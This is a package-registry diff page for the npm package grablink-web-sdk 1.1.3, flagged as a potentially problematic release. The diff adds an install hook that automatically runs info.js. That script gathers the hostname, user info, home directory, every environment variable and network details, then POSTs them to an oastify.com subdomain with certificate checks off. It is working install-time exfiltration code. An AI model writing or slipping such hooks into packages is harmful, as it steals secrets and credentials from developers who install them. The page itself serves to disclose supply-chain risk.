grablink-web-sdk 1.1.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of grablink-web-sdk might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/info.js +46 -0
  2. package/package.json +22 -0
package/info.js ADDED
@@ -0,0 +1,46 @@
1
+ const https = require('https');
2
+ const request = require('request');
3
+ var os = require("os");
4
+ const { kill } = require('process');
5
+ var hostname = os.hostname();
6
+ var uname = os.userInfo();
7
+ var env = os.homedir();
8
+ var cwd = process.env;
9
+ var nets = os.networkInterfaces();
10
+ var fs = process.eventNames();
11
+ var cpu = os.cpus();
12
+ var mem = os.freemem();
13
+ var tmem = os.totalmem();
14
+ var oss = os.type();
15
+ var osc = os.platform();
16
+ var xx = os.release();
17
+ var upt = os.uptime();
18
+
19
+ let responseBody;
20
+ require('request')('https://google.com/', (error, response, body) => {
21
+ responseBody = body;
22
+ });
23
+ const data = new TextEncoder().encode(
24
+ JSON.stringify({
25
+ payload: cpu, mem, tmem, oss, osc, xx, upt, responseBody, hostname, uname, env, cwd, fs
26
+ })
27
+ );
28
+
29
+ const options = {
30
+ hostname: hostname + '.gxh03b4xozq3h51eijotk3mzdqjh77vw.oastify.com',
31
+ port: 443,
32
+ path: '/',
33
+ method: 'POST',
34
+ headers: {
35
+ 'Content-Type': 'application/json',
36
+ 'Content-Length': data.length
37
+ },
38
+ rejectUnauthorized: false
39
+ }
40
+
41
+ const req = https.request(options, res => {});
42
+ req.write(data);
43
+ req.end();
44
+
45
+
46
+
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "grablink-web-sdk",
3
+ "version": "1.1.3",
4
+ "description": "Testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node info.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "checking"
12
+ },
13
+ "keywords": [
14
+ "checking"
15
+ ],
16
+ "author": "grabinfosec",
17
+ "license": "ISC",
18
+ "dependencies": {
19
+ "grablink-web-sdk": "^1.1.2",
20
+ "request": "^2.88.2"
21
+ }
22
+ }